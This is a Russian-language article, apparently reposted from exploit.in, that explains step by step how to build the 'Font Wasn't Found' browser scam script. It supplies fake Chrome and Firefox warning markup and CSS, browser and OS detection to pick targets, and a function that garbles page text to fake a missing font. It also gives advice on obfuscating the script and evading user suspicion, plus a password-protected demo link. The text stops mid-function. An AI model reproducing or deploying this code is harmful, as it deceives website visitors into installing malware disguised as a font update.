Разработка скрипта "Font Wasn’t Found”. Делаем трафик/инсталы, имея доступ к управлению
В данной статье я продемонстрирую процесс разработки JS-скрипта, описанного в этой статье WARNING: Google Chrome “Font Wasn’t Found” Malware Scam. Скрипт будет разрабатываться под браузеры Chrome и Firefox. В скрипте не используются прототипно-ориентированные парадигмы, всякие фичи, выделяющие JS среди остальных языков программирования. Я пытался сделать его максимально простым и понятным человеку, не знающему JS.
1. Получаем/делаем шаблоны системных сообщений браузеров.
1.1. Шаблон (html + css) системного сообщения Chrome легко получить. Этот браузер часто выводит пользователю разные сообщения (например, соглашение о использовании Cookies). С помощью инспектора элементов (F12 || ctrl + shift + i) получаем такую разметку:
И такие стили:
Идентификаторы в разметке не особо читабельные, но их читабельность здесь особо и не нужна.
1.2. Получить системное сообщение от Firefox в таком же виде, как и в Chrome (маска поверх страницы, модальное окно с сообщением) тяжелее. Я особо времени не тратил и скопировал хромовскую разметку. Изменил только стили:
Базовую разметку оборачиваем в warning_wrapper, добавляем маску и оборачиваем это всё в outer_warning_wrapper. Вот что получается:
2. Приступаем к написанию js-скрипта. Функционал скрипта:
- определение браузера, в котором он выполняется (чтобы знать сообщение какого браузера эмулировать);
- определение ОС пользователя (чтобы выполнять атаки только на тех, кто нам нужен);
- изменение текста на веб-странице "битыми" символами (создание иллюзии, что действительно какой-то шрифт отсутствует);
- выполнение анимации плавного "всплывания" и такого же закрытия сообщения (для максимальной идентичности системному сообщению);
- обработка действий пользователя (клик на "маску", кнопки ...);
- создание DOM-элементов и присваивание им свойств (внедрение разметки и стилей, которые у нас уже есть, в страницу);
- запись в Cookies, что текущий пользователь уже "обновил шрифты".
Реализацию первых двух пунктов можно найти на stackoverflow:
Шифровка веб-страницы:
Функции, отвечающие за анимации:
Функция, говорящая сама за себя (cookie):
Построение иерархии DOM-элементов в веб-странице:
Заполнение таблицы версий браузера:
Установка стилей соответствующих браузеров:
Помимо обфускации, я бы посоветовал ещё обфусцировать скрипт "невидимыми" символами (т.е. пробелы и табы). Для этого советую воспользоваться js-invisible-obfuscator.
Ещё совет: скрипт палится из-за того, что он выполняется после отображения символов в браузере. То есть пользователь может успеть заметить что сначала всё было нормально, а потом в один момент "шрифты слетели". Опытный user обязательно что-то заподозрит. Готов ответить на любые Ваши вопросы (в пределах данной темы) и интересно было бы обсудить идеи по поводу выполнения скрипта до отображения страницы в браузере.
Демо-версия скрипта: https://www.sendspace.com/file/pyl1pu
Пароль: KS93m2*2m)sMw*0#m18J^nwckI2_a&2n98]syKwU25dcsL
АВТОР MrRabbit
источник exploit.in
В данной статье я продемонстрирую процесс разработки JS-скрипта, описанного в этой статье WARNING: Google Chrome “Font Wasn’t Found” Malware Scam. Скрипт будет разрабатываться под браузеры Chrome и Firefox. В скрипте не используются прототипно-ориентированные парадигмы, всякие фичи, выделяющие JS среди остальных языков программирования. Я пытался сделать его максимально простым и понятным человеку, не знающему JS.
1. Получаем/делаем шаблоны системных сообщений браузеров.
1.1. Шаблон (html + css) системного сообщения Chrome легко получить. Этот браузер часто выводит пользователю разные сообщения (например, соглашение о использовании Cookies). С помощью инспектора элементов (F12 || ctrl + shift + i) получаем такую разметку:
Код:
<div id="taw">
<style></style>
<div style="padding:0 16px">
<div class="med">
<div class="WsjYwc" id="msg_box" style="display:none">
<p class="card-section w4VK3c">
<span>
<span class="spell" id="srfm"></span>
<a class="spell" id="srfl"></a>
<br>
</span>
<span id="sif">
<span class="spell_orig" id="sifm"></span>
<a class="spell_orig" id="sifl"></a>
<br>
</span>
</p>
</div>
</div>
<div id="cnsi" jsaction="dg_dismissed:r.3l2wGYCikXw;dg_not_dismissed:r.KxDw91T2YKs" data-rtid="i8dMuAdSA7_M" jsl="$t t-p4F1WKgPOrk;$x 0;" class="r-i8dMuAdSA7_M">
<script nonce="tgjIduAbhaIPz3ZYpWl8Tw==">addEventListener('message',function(e){if(e.data==='verify-origin'&&e.source.parent===window){e.source.postMessage('verify-origin-reply',e.origin);}
});</script>
<g-dialog class="i8dMuAdSA7_M-0078sLar460 r-iOsZLMa8WS_Y" data-id="uid_w89LW_KqPIrcgAbD9JSIAw_0" jsaction="dg_reg_content:r.J_j78ao4uyM" data-rtid="iOsZLMa8WS_Y" jsl="$t t-cuCqGEujB5w;$x 0;" data-ved="0ahUKEwiymIHYmKLcAhUKLsAKHUM6BTEQgGUIIygA">
<div class="iOsZLMa8WS_Y-oPwtUFSp9U8" id="uid_w89LW_KqPIrcgAbD9JSIAw_0" jsaction="dg_close:r.99yxp2ZuQP0;r.nUlQmbHCUts" data-rtid="iOsZLMa8WS_Y" jsl="$x 4;">
<div class="fAwjXaCTMo5__overlay m114nf iOsZLMa8WS_Y-NEtT1Mcs_w8"></div>
<div class="fAwjXaCTMo5__container soSyuc hFCnyd">
<div class="ls8Qne" aria-hidden="true" role="button" tabindex="0" jsaction="focus:r.EvZFsYUH-g8" data-rtid="iOsZLMa8WS_Y" jsl="$x 5;"></div>
<div class="fAwjXaCTMo5__content" role="dialog">
<div class="irPjbc" id="cnsw">
<div class="bfcO6b" id="cnsm">
<g-loading-icon class="v5nPIf GuPFE" style="height:30px;min-width:30px">
<div class="pSFfp fY2Z0" style="height:30px;width:30px" aria-valuetext="Loading..." role="progressbar">
<div class="yiqufc jg5aPd">
<div class="r1glSd">
<div class="wgim3c jWrfPe unqUac ZvZqlb"></div>
</div>
<div class="YvBkFd">
<div class="wgim3c jWrfPe m0HFif"></div>
</div>
<div class="r1glSd">
<div class="wgim3c jWrfPe unqUac tJdqHd"></div>
</div>
</div>
<div class="e3Nvve jg5aPd">
<div class="r1glSd">
<div class="wgim3c jWrfPe unqUac ZvZqlb"></div>
</div>
<div class="YvBkFd">
<div class="wgim3c jWrfPe m0HFif"></div>
</div>
<div class="r1glSd">
<div class="wgim3c jWrfPe unqUac tJdqHd"></div>
</div>
</div>
<div class="kpjGNb jg5aPd">
<div class="r1glSd">
<div class="wgim3c jWrfPe unqUac ZvZqlb"></div>
</div>
<div class="YvBkFd">
<div class="wgim3c jWrfPe m0HFif"></div>
</div>
<div class="r1glSd">
<div class="wgim3c jWrfPe unqUac tJdqHd"></div>
</div>
</div>
<div class="Ft8sDf jg5aPd">
<div class="r1glSd">
<div class="wgim3c jWrfPe unqUac ZvZqlb"></div>
</div>
<div class="YvBkFd">
<div class="wgim3c jWrfPe m0HFif"></div>
</div>
<div class="r1glSd">
<div class="wgim3c jWrfPe unqUac tJdqHd"></div>
</div>
</div>
</div>
</g-loading-icon>
</div>
</div>
</div>
<div class="ls8Qne" aria-hidden="true" role="button" tabindex="0" jsaction="focus:r.15lBFDEFpZ8" data-rtid="iOsZLMa8WS_Y" jsl="$x 6;"></div>
</div>
</div>
</g-dialog>
<script nonce="tgjIduAbhaIPz3ZYpWl8Tw==">(function(){if(null!=document.cookie.match("(^|;)\\s*CONSENT=YES\\+"))document.body.className=document.body.className.replace(/\bnsc\b/,"");else{var a=document.querySelector(".dgd");a&&(a.className=a.className.replace(/\bdgd\b/,""))}google.cns={b:[],l:function(b){var c=b.data;5>google.cns.b.length&&c.indexOf&&0==c.indexOf("cb-")&&google.cns.b.push(b)}};window.addEventListener("message",google.cns.l);}).call(this);</script>
<div>
<div id="cbcb" class="i8dMuAdSA7_M-wi4RyW6yaRo" data-ved="0ahUKEwiymIHYmKLcAhUKLsAKHUM6BTEQj4kBCCQoAQ"></div>
<div class="i8dMuAdSA7_M-5MMesDS_ai4" data-ved="0ahUKEwiymIHYmKLcAhUKLsAKHUM6BTEQmW8IJSgC"></div>
<div class="i8dMuAdSA7_M-20H57zYdxbY" data-ved="0ahUKEwiymIHYmKLcAhUKLsAKHUM6BTEQmG8IJigD"></div>
</div>
</div>
<div jscontroller="yyqeUd" jsdata="AOyZOb;;CRJkCE" jsaction="dismiss_warmup:IYtByb;trigger_review:yYhrfb;rcuQ6b:npT2md">
<div jsname="tw4gs" class="Y35nDc" id="cnso" data-ved="0ahUKEwiymIHYmKLcAhUKLsAKHUM6BTEQtWQIJygE" style="display: block;">
<div class="yAVMkd vk_c">
<a href="#" class="close">X</a>
<div>
<div class="EYpCtd">
<div class="rMJIte"></div>
</div>
<div class="KJXbRb">A privacy reminder from Google</div>
</div>
<div>
<div class="ZPJnFe">
<div>
<g-flat-button class="FZ2Txe U8shWc Vy8nid" id="cnsd" jsaction="fire.dismiss_warmup" style="color:#4285f4" role="button" tabindex="0" data-ved="0ahUKEwiymIHYmKLcAhUKLsAKHUM6BTEQt2QIKA">Remind me later</g-flat-button>
<g-raised-button class="LN7Ux Gfzyee DKlyaf Loxgyb" id="cnsr" jsaction="fire.trigger_review" role="button" tabindex="0" data-ved="0ahUKEwiymIHYmKLcAhUKLsAKHUM6BTEQtmQIKQ">
<div class="fSXkBc">
<span class="MnJuPb">Review</span>
</div>
</g-raised-button>
</div>
</div>
</div>
</div>
</div>
<img class="PBAPWe" src="https://consent.google.com/status?continue=https://www.google.co.uk&pc=s&timestamp=1531695044&gl=GB" alt="" data-atf="0">
<script nonce="tgjIduAbhaIPz3ZYpWl8Tw==">(function(){var urgencyLevel=2;var wcdt=-1;(function(){try{var a=(window.localStorage&&parseInt(window.localStorage["cns::u"],10)||0)
<urgencyLevel;if(0
<wcdt){var b=window.localStorage&&parseInt(window.localStorage["cns::d"],10)||0;a=google.time()-b>wcdt}if(null==document.cookie.match("(^|;)\\s*CONSENT=YES\\+")&&a){var c=document.querySelector("#cnso");c&&(c.style.display="block",c.removeAttribute("aria-hidden"))}}catch(d){google.ml(d,!0,{src:"cnso"})};}).call(this);})();
</script>
</div>
</div>
<div id="tvcap"></div>
</div>
И такие стили:
Код:
.yAVMkd {
overflow: hidden;
}
.KJXbRb {
display: table-cell;
vertical-align: middle;
color: rgba(0, 0, 0, .87);
}
.yAVMkd {
margin-top: 6px;
margin-bottom: 24px;
}
.KJXbRb {
font-size: 24px;
line-height: 28px;
padding-left: 24px;
}
.ZPJnFe {
margin-top: 11px;
margin-left: 50px;
}
.FZ2Txe {
margin-right: 8px;
}
.ZPJnFe .FZ2Txe {
margin-right: 8px;
}
.U8shWc {
background-color: transparent;
border: none;
border-radius: 2px;
border-radius: 2px;
box-sizing: border-box;
cursor: default;
display: inline-block;
font-size: 14px;
font-weight: 500;
height: 36px;
line-height: 16px;
padding: 10px 8px;
text-transform: uppercase;
margin: 0 4px;
min-width: 88px;
outline: none;
position: relative;
text-align: center;
text-decoration: none !important;
-webkit-user-select: none;
white-space: nowrap;
}
.U8shWc:disabled, .U8shWc[disabled]:not([disabled=false]) {
pointer-events: none;
}
.U8shWc.fSXIc {
min-width: 64px;
}
.U8shWc.Vy8nid {
color: rgba(0, 0, 0, .87);
}
.Vy8nid:hover {
background-color: rgba(153, 153, 153, .2);
}
.Vy8nid:focus {
background-color: rgba(153, 153, 153, .2);
}
.Vy8nid:active {
background-color: rgba(153, 153, 153, .4);
}
.U8shWc.Vy8nid:disabled, .U8shWc.Vy8nid[disabled]:not([disabled=false]) {
color: rgba(0, 0, 0, .26) !important;
}
.MnJuPb {
padding: 0 4px;
}
.ZPJnFe .LN7Ux {
margin-left: 0px;
}
g-raised-button {
display: inline-block;
margin: 0 4px;
position: relative;
}
.Gfzyee {
box-sizing: border-box;
cursor: default;
font-size: 14px;
font-weight: 500;
min-width: 88px;
outline: none;
text-align: center;
transition: box-shadow 200ms cubic-bezier(0.4, 0, 0.2, 1);
-webkit-user-select: none;
white-space: nowrap;
border: 0;
border-radius: 2px;
box-shadow: 0 1px 1px rgba(0, 0, 0, .16);
box-shadow: 0 1px 1px rgba(0, 0, 0, .16);
line-height: 16px;
text-transform: uppercase;
}
.Gfzyee:active {
outline: none;
box-shadow: 0 4px 5px rgba(0, 0, 0, .16);
box-shadow: 0 4px 5px rgba(0, 0, 0, .16);
}
.form_submit {
border-radius: 2px;
outline: none;
padding: 10px 8px;
z-index: 9999;
}
.form_submit:hover {
background: rgba(0, 0, 0, .1);
}
.form_submit:focus {
background: rgba(0, 0, 0, .1);
}
.form_submit:active {
background: rgba(0, 0, 0, .2);
}
.Gfzyee:disabled, .Gfzyee[disabled]:not([disabled=false]) {
pointer-events: none;
color: rgba(0, 0, 0, .26) !important;
background: rgba(0, 0, 0, .12);
box-shadow: none;
box-shadow: none;
}
.Gfzyee:disabled .form_submit, .Gfzyee[disabled]:not([disabled=false]) .form_submit {
background-color: transparent;
}
.DKlyaf {
background: #4285f4;
}
.Loxgyb {
color: #fff;
}
.vk_c
{
background: #FFF;
box-shadow: 0 2px 2px 0 rgba(0,0,0,0.16), 0 0 0 1px rgba(0,0,0,0.08);
border: 1px;
border-radius: 2px;
display: block;
position: fixed;
padding: 20px 16px 24px 16px;
z-index: 9999;
/* left: 30%;
top: 40%;*/
width: 800px;
}
.close {
cursor: default;
display: block;
float: right;
font-size: 18px;
line-height: 1;
color: #000;
text-shadow: 0 1px 0 #fff;
opacity: .2;
margin-top: -8px;
margin-right: -4px;
text-decoration: none;
}
.close:hover {
opacity: 1;
}
#warning_wrapper {
text-align: right;
position: absolute;
top: 0;
}
#chrome_logo {
float: right;
margin-right: 12px;
width: 130px;
}
.warning_text {
padding: 15px 24px;
padding-bottom: 0;
text-align: left;
line-height: 1.24;
font-size: small;
font-family: arial,sans-serif;
}
Идентификаторы в разметке не особо читабельные, но их читабельность здесь особо и не нужна.
1.2. Получить системное сообщение от Firefox в таком же виде, как и в Chrome (маска поверх страницы, модальное окно с сообщением) тяжелее. Я особо времени не тратил и скопировал хромовскую разметку. Изменил только стили:
Код:
.yAVMkd {
overflow: hidden;
}
.KJXbRb {
display: table-cell;
vertical-align: middle;
color: rgba(256, 256, 256, .87);
}
.yAVMkd {
margin-top: 6px;
margin-bottom: 24px;
}
.KJXbRb {
font-size: 24px;
line-height: 28px;
padding-left: 24px;
}
.ZPJnFe {
margin-top: 11px;
margin-left: 50px;
}
.FZ2Txe {
margin-right: 8px;
}
.ZPJnFe .FZ2Txe {
margin-right: 8px;
}
.U8shWc {
background-color: transparent;
border: none;
border-radius: 2px;
border-radius: 2px;
box-sizing: border-box;
cursor: default;
display: inline-block;
font-size: 14px;
font-weight: 500;
height: 36px;
line-height: 16px;
padding: 10px 8px;
text-transform: uppercase;
margin: 0 4px;
min-width: 88px;
outline: none;
position: relative;
text-align: center;
text-decoration: none !important;
-webkit-user-select: none;
white-space: nowrap;
}
.U8shWc:disabled, .U8shWc[disabled]:not([disabled=false]) {
pointer-events: none;
}
.U8shWc.fSXIc {
min-width: 64px;
}
.U8shWc.Vy8nid {
color: rgba(0, 0, 0, .87);
}
.Vy8nid:hover {
background-color: rgba(153, 153, 153, .2);
}
.Vy8nid:focus {
background-color: rgba(153, 153, 153, .2);
}
.Vy8nid:active {
background-color: rgba(153, 153, 153, .4);
}
.U8shWc.Vy8nid:disabled, .U8shWc.Vy8nid[disabled]:not([disabled=false]) {
color: rgba(0, 0, 0, .26) !important;
}
.MnJuPb {
padding: 0 4px;
}
.ZPJnFe .LN7Ux {
margin-left: 0px;
}
g-raised-button {
display: inline-block;
margin: 0 4px;
position: relative;
}
.Gfzyee {
box-sizing: border-box;
cursor: default;
font-size: 14px;
font-weight: 500;
min-width: 88px;
outline: none;
text-align: center;
transition: box-shadow 200ms cubic-bezier(0.4, 0, 0.2, 1);
-webkit-user-select: none;
white-space: nowrap;
border: 0;
border-radius: 2px;
box-shadow: 0 1px 1px rgba(0, 0, 0, .16);
box-shadow: 0 1px 1px rgba(0, 0, 0, .16);
line-height: 16px;
text-transform: uppercase;
}
.Gfzyee:active {
outline: none;
box-shadow: 0 4px 5px rgba(0, 0, 0, .16);
box-shadow: 0 4px 5px rgba(0, 0, 0, .16);
}
.form_submit {
background-color: rgb(5, 159, 221);
border-radius: 2px;
border: 2px;
color: #FFF;
outline: none;
padding: 10px 8px;
z-index: 9999;
}
.form_submit:hover {
background: #02739E;
}
.form_submit:focus {
background: #02597A;
}
.form_submit:active {
background: #02597A;
}
.Gfzyee:disabled, .Gfzyee[disabled]:not([disabled=false]) {
pointer-events: none;
color: rgba(0, 0, 0, .26) !important;
background: rgba(0, 0, 0, .12);
box-shadow: none;
box-shadow: none;
}
.Gfzyee:disabled .form_submit, .Gfzyee[disabled]:not([disabled=false]) .form_submit {
background-color: transparent;
}
.DKlyaf {
background: #4285f4;
}
.Loxgyb {
color: #fff;
}
.vk_c
{
background: rgba(0,146,213,1);
background: -moz-linear-gradient(-45deg, rgba(0,146,213,1) 0%, rgba(11,167,219,1) 84%, rgba(13,157,214,1) 85%, rgba(21,160,230,1) 100%);
background: -webkit-gradient(left top, right bottom, color-stop(0%, rgba(0,146,213,1)), color-stop(84%, rgba(11,167,219,1)), color-stop(85%, rgba(13,157,214,1)), color-stop(100%, rgba(21,160,230,1)));
background: -webkit-linear-gradient(-45deg, rgba(0,146,213,1) 0%, rgba(11,167,219,1) 84%, rgba(13,157,214,1) 85%, rgba(21,160,230,1) 100%);
background: -o-linear-gradient(-45deg, rgba(0,146,213,1) 0%, rgba(11,167,219,1) 84%, rgba(13,157,214,1) 85%, rgba(21,160,230,1) 100%);
background: -ms-linear-gradient(-45deg, rgba(0,146,213,1) 0%, rgba(11,167,219,1) 84%, rgba(13,157,214,1) 85%, rgba(21,160,230,1) 100%);
background: linear-gradient(135deg, rgba(0,146,213,1) 0%, rgba(11,167,219,1) 84%, rgba(13,157,214,1) 85%, rgba(21,160,230,1) 100%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#0092d5', endColorstr='#15a0e6', GradientType=1 );
box-shadow: 0 2px 2px 0 rgba(0,0,0,0.16), 0 0 0 1px rgba(0,0,0,0.08);
border: 3px;
border-radius: 2px;
display: block;
position: fixed;
padding: 20px 16px 24px 16px;
z-index: 9999;
color: rgba(256, 256, 256, .87);
width: 800px;
}
.close {
cursor: default;
display: block;
float: right;
font-size: 18px;
line-height: 1;
color: #000;
text-shadow: 0 1px 0 #fff;
opacity: .2;
margin-top: -8px;
margin-right: -4px;
text-decoration: none;
}
.close:hover {
color: #FFF;
opacity: 1;
}
#warning_wrapper {
text-align: right;
position: absolute;
top: 0;
}
.warning_text {
padding: 15px 24px;
padding-bottom: 0;
text-align: left;
line-height: 1.24;
font-size: small;
font-family: arial,sans-serif;
}
.update_info {
padding: 15px 24px;
float: left;
font-size: small;
}
.update_info tbody {
background: #F5F5F5;
text-align: left;
}
.update_info td {
padding-top: 3px;
padding-right: 2px;
}
.update_info tr {
display: block;
}
.update_info tr:nth-child(even) {
background: #FFF;
color: #000;
}
.update_info tr:nth-child(odd) {
background: rgb(87,187, 55);
color: #FFF;
}
#firefox_logo {
float: right;
margin-right: 12px;
width: 40px;
}
Базовую разметку оборачиваем в warning_wrapper, добавляем маску и оборачиваем это всё в outer_warning_wrapper. Вот что получается:
Код:
<div id="outer_warning_wrapper">
<div class="mask"></div>
<div id="warning_wrapper" >
<div class="yAVMkd vk_c">
<a href="#" class="close">X</a>
<img src="browser_logo.png" alt="" id="{chrome_logo || firefox_logo}">
<div>
<div class="KJXbRb">The "Some font" font wasn't found</div>
</div>
<div>
<div class="warning_text">
The web page you are trying to load is displayed incorrectly, as it uses the "Some font" font. To fix the error and display the text you have to update the "{Browser} Font Pack".
</div>
<div class="ZPJnFe">
<div style="padding-right: 18px">
<g-flat-button class="FZ2Txe U8shWc Vy8nid" id="cnsd" style="color:#4285f4" role="button" tabindex="0">CANCEL</g-flat-button>
<g-raised-button class="LN7Ux Gfzyee DKlyaf Loxgyb" id="cnsr" role="button" tabindex="0" >
<div class="form_submit">
<span class="MnJuPb">UPDATE</span>
</div>
</g-raised-button>
</div>
</div>
</div>
</div>
</div>
</div>
2. Приступаем к написанию js-скрипта. Функционал скрипта:
- определение браузера, в котором он выполняется (чтобы знать сообщение какого браузера эмулировать);
- определение ОС пользователя (чтобы выполнять атаки только на тех, кто нам нужен);
- изменение текста на веб-странице "битыми" символами (создание иллюзии, что действительно какой-то шрифт отсутствует);
- выполнение анимации плавного "всплывания" и такого же закрытия сообщения (для максимальной идентичности системному сообщению);
- обработка действий пользователя (клик на "маску", кнопки ...);
- создание DOM-элементов и присваивание им свойств (внедрение разметки и стилей, которые у нас уже есть, в страницу);
- запись в Cookies, что текущий пользователь уже "обновил шрифты".
Реализацию первых двух пунктов можно найти на stackoverflow:
Код:
(function (window) {
{
var unknown = '-';
// screen
var screenSize = '';
if (screen.width) {
width = (screen.width) ? screen.width : '';
height = (screen.height) ? screen.height : '';
screenSize += '' + width + " x " + height;
}
// browser
var nVer = navigator.appVersion;
var nAgt = navigator.userAgent;
var browser = navigator.appName;
var version = '' + parseFloat(navigator.appVersion);
var majorVersion = parseInt(navigator.appVersion, 10);
var nameOffset, verOffset, ix;
// Opera
if ((verOffset = nAgt.indexOf('Opera')) != -1) {
browser = 'Opera';
version = nAgt.substring(verOffset + 6);
if ((verOffset = nAgt.indexOf('Version')) != -1) {
version = nAgt.substring(verOffset + 8);
}
}
// Opera Next
if ((verOffset = nAgt.indexOf('OPR')) != -1) {
browser = 'Opera';
version = nAgt.substring(verOffset + 4);
}
// Edge
else if ((verOffset = nAgt.indexOf('Edge')) != -1) {
browser = 'Microsoft Edge';
version = nAgt.substring(verOffset + 5);
}
// MSIE
else if ((verOffset = nAgt.indexOf('MSIE')) != -1) {
browser = 'Microsoft Internet Explorer';
version = nAgt.substring(verOffset + 5);
}
// Chrome
else if ((verOffset = nAgt.indexOf('Chrome')) != -1) {
browser = 'Chrome';
version = nAgt.substring(verOffset + 7);
}
// Safari
else if ((verOffset = nAgt.indexOf('Safari')) != -1) {
browser = 'Safari';
version = nAgt.substring(verOffset + 7);
if ((verOffset = nAgt.indexOf('Version')) != -1) {
version = nAgt.substring(verOffset + 8);
}
}
// Firefox
else if ((verOffset = nAgt.indexOf('Firefox')) != -1) {
browser = 'Firefox';
version = nAgt.substring(verOffset + 8);
}
// MSIE 11+
else if (nAgt.indexOf('Trident/') != -1) {
browser = 'Microsoft Internet Explorer';
version = nAgt.substring(nAgt.indexOf('rv:') + 3);
}
// Other browsers
else if ((nameOffset = nAgt.lastIndexOf(' ') + 1) < (verOffset = nAgt.lastIndexOf('/'))) {
browser = nAgt.substring(nameOffset, verOffset);
version = nAgt.substring(verOffset + 1);
if (browser.toLowerCase() == browser.toUpperCase()) {
browser = navigator.appName;
}
}
// trim the version string
if ((ix = version.indexOf(';')) != -1) version = version.substring(0, ix);
if ((ix = version.indexOf(' ')) != -1) version = version.substring(0, ix);
if ((ix = version.indexOf(')')) != -1) version = version.substring(0, ix);
majorVersion = parseInt('' + version, 10);
if (isNaN(majorVersion)) {
version = '' + parseFloat(navigator.appVersion);
majorVersion = parseInt(navigator.appVersion, 10);
}
// mobile version
var mobile = /Mobile|mini|Fennec|Android|iP(ad|od|hone)/.test(nVer);
// cookie
var cookieEnabled = (navigator.cookieEnabled) ? true : false;
if (typeof navigator.cookieEnabled == 'undefined' && !cookieEnabled) {
document.cookie = 'testcookie';
cookieEnabled = (document.cookie.indexOf('testcookie') != -1) ? true : false;
}
// system
var os = unknown;
var clientStrings = [
{s:'Windows 10', r:/(Windows 10.0|Windows NT 10.0)/},
{s:'Windows 8.1', r:/(Windows 8.1|Windows NT 6.3)/},
{s:'Windows 8', r:/(Windows 8|Windows NT 6.2)/},
{s:'Windows 7', r:/(Windows 7|Windows NT 6.1)/},
{s:'Windows Vista', r:/Windows NT 6.0/},
{s:'Windows Server 2003', r:/Windows NT 5.2/},
{s:'Windows XP', r:/(Windows NT 5.1|Windows XP)/},
{s:'Windows 2000', r:/(Windows NT 5.0|Windows 2000)/},
{s:'Windows ME', r:/(Win 9x 4.90|Windows ME)/},
{s:'Windows 98', r:/(Windows 98|Win98)/},
{s:'Windows 95', r:/(Windows 95|Win95|Windows_95)/},
{s:'Windows NT 4.0', r:/(Windows NT 4.0|WinNT4.0|WinNT|Windows NT)/},
{s:'Windows CE', r:/Windows CE/},
{s:'Windows 3.11', r:/Win16/},
{s:'Android', r:/Android/},
{s:'Open BSD', r:/OpenBSD/},
{s:'Sun OS', r:/SunOS/},
{s:'Linux', r:/(Linux|X11)/},
{s:'iOS', r:/(iPhone|iPad|iPod)/},
{s:'Mac OS X', r:/Mac OS X/},
{s:'Mac OS', r:/(MacPPC|MacIntel|Mac_PowerPC|Macintosh)/},
{s:'QNX', r:/QNX/},
{s:'UNIX', r:/UNIX/},
{s:'BeOS', r:/BeOS/},
{s:'OS/2', r:/OS\/2/},
{s:'Search Bot', r:/(nuhk|Googlebot|Yammybot|Openbot|Slurp|MSNBot|Ask Jeeves\/Teoma|ia_archiver)/}
];
for (var id in clientStrings) {
var cs = clientStrings[id];
if (cs.r.test(nAgt)) {
os = cs.s;
break;
}
}
var osVersion = unknown;
if (/Windows/.test(os)) {
osVersion = /Windows (.*)/.exec(os)[1];
os = 'Windows';
}
switch (os) {
case 'Mac OS X':
osVersion = /Mac OS X (10[\.\_\d]+)/.exec(nAgt)[1];
break;
case 'Android':
osVersion = /Android ([\.\_\d]+)/.exec(nAgt)[1];
break;
case 'iOS':
osVersion = /OS (\d+)_(\d+)_?(\d+)?/.exec(nVer);
osVersion = osVersion[1] + '.' + osVersion[2] + '.' + (osVersion[3] | 0);
break;
}
// flash (you'll need to include swfobject)
/* script src="//ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js" */
var flashVersion = 'no check';
if (typeof swfobject != 'undefined') {
var fv = swfobject.getFlashPlayerVersion();
if (fv.major > 0) {
flashVersion = fv.major + '.' + fv.minor + ' r' + fv.release;
}
else {
flashVersion = unknown;
}
}
}
window.jscd = {
screen: screenSize,
browser: browser,
browserVersion: version,
browserMajorVersion: majorVersion,
mobile: mobile,
os: os,
osVersion: osVersion,
cookies: cookieEnabled,
flashVersion: flashVersion
};
}(this));
Шифровка веб-страницы:
Код:
function encodedSymbol(symbol) {
var encoded = '';
switch(symbol) {
case 'A':
encoded = '-';
break;
case 'a':
encoded = '?';
break;
case 'B':
encoded = 'a';
break;
case 'b':
encoded = 'U';
break;
case 'C':
encoded = '?';
break;
case 'c':
encoded = 'a';
break;
case 'D':
encoded = '?';
break;
case 'd':
encoded = 'C';
break;
case 'E':
encoded = 'i';
break;
case 'e':
encoded = 'O';
break;
case 'F':
encoded = 'R';
break;
case 'f':
encoded = 'A';
break;
case 'G':
encoded = 'l';
break;
case 'g':
encoded = '?';
break;
case 'H':
encoded = 'L';
break;
case 'h':
encoded = 'I';
break;
case 'I':
encoded = 's';
break;
case 'i':
encoded = '?';
break;
case 'J':
encoded = 'z';
break;
case 'j':
encoded = 'U';
break;
case 'K':
encoded = 't';
break;
case 'k':
encoded = 'a';
break;
case 'L':
encoded = 'd';
break;
case 'l':
encoded = '?';
break;
case 'M':
encoded = '?';
break;
case 'm':
encoded = '?';
break;
case 'N':
encoded = '?';
break;
case 'n':
encoded = '?';
break;
case 'O':
encoded = '+';
break;
case 'o':
encoded = '§';
break;
case 'P':
encoded = '¦';
break;
case 'p':
encoded = '¦';
break;
case 'Q':
encoded = '¬';
break;
case 'q':
encoded = '+';
break;
case 'R':
encoded = '¦';
break;
case 'r':
encoded = '©';
break;
case 'S':
encoded = '?';
break;
case 's':
encoded = 'O';
break;
case 'T':
encoded = '?';
break;
case 't':
encoded = '?';
break;
case 'U':
encoded = '‰';
break;
case 'u':
encoded = '…';
break;
case 'V':
encoded = '?';
break;
case 'v':
encoded = '3';
break;
case 'W':
encoded = '¬';
break;
case 'w':
encoded = '¬';
break;
case 'X':
encoded = 'i';
break;
case 'x':
encoded = '»';
break;
case 'Y':
encoded = '?';
break;
case 'y':
encoded = 'U';
break;
case 'Z':
encoded = ',';
break;
case 'z':
encoded = '4';
break;
case '0':
encoded = '?';
break;
case '1':
encoded = '?';
break;
case '2':
encoded = '?';
break;
case '3':
encoded = '?';
break;
case '4':
encoded = '?';
break;
case '5':
encoded = '?';
break;
case '6':
encoded = '.';
break;
case '7':
encoded = '?';
break;
case '8':
encoded = '?';
break;
case '9':
encoded = '†';
break;
case '.':
encoded = 'L';
break;
case ',':
encoded = 'Ѕ';
break;
case '-':
encoded = 'T';
break;
case '(':
encoded = '1';
break;
case ')':
encoded = '-';
break;
}
return encoded;
}
function encodeHtmlText(htmlText) {
var isCharSystem = false;
var isCharEntity = false;
var encodedStr = '';
for(var i = 0; i < htmlText.length; i++)
{
switch(htmlText[i]) {
case '<':
isCharSystem = true;
encodedStr += htmlText[i];
break;
case '>':
isCharSystem = false;
encodedStr += htmlText[i];
break;
case '&':
if(isCharEntity == false)
isCharEntity = true;
encodedStr += htmlText[i];
break;
case ';':
if(isCharEntity)
isCharEntity = false;
encodedStr += htmlText[i];
break;
default:
if(!isCharSystem && !isCharEntity)
encodedStr += encodedSymbol(htmlText[i]);
else
encodedStr += htmlText[i];
}
}
return encodedStr;
}
Функции, отвечающие за анимации:
Код:
function closingWarningWindow() {
fadeToggle(document.getElementById("outer_warning_wrapper"));
setTimeout(function() { fadeToggle(document.getElementById("outer_warning_wrapper")) }, 2000);
};
function setOpacity(fading_div, opacity) {
fading_div.style.opacity = (opacity / 100);
fading_div.style.filter = 'alpha(opacity=' + opacity + ')';
}
function fade(fading_div, opacity, opacity_change_value) {
if (opacity <= 1) {
fading_div.style.display = 'none';
return;
}
if (opacity >= 100){
setOpacity(fading_div, 100);
return;
}
setOpacity(fading_div, opacity);
setTimeout(function() {
fade(fading_div, opacity + opacity_change_value, opacity_change_value);
}, 1);
}
function fadeToggle(element) {
if(element.style.display == 'block')
fade(element, 99, -5);
else
{
element.style.display = 'block';
fade(element, 2, 5);
}
}
Функция, говорящая сама за себя (cookie):
Код:
function getCookie(name) {
var matches = document.cookie.match(new RegExp(
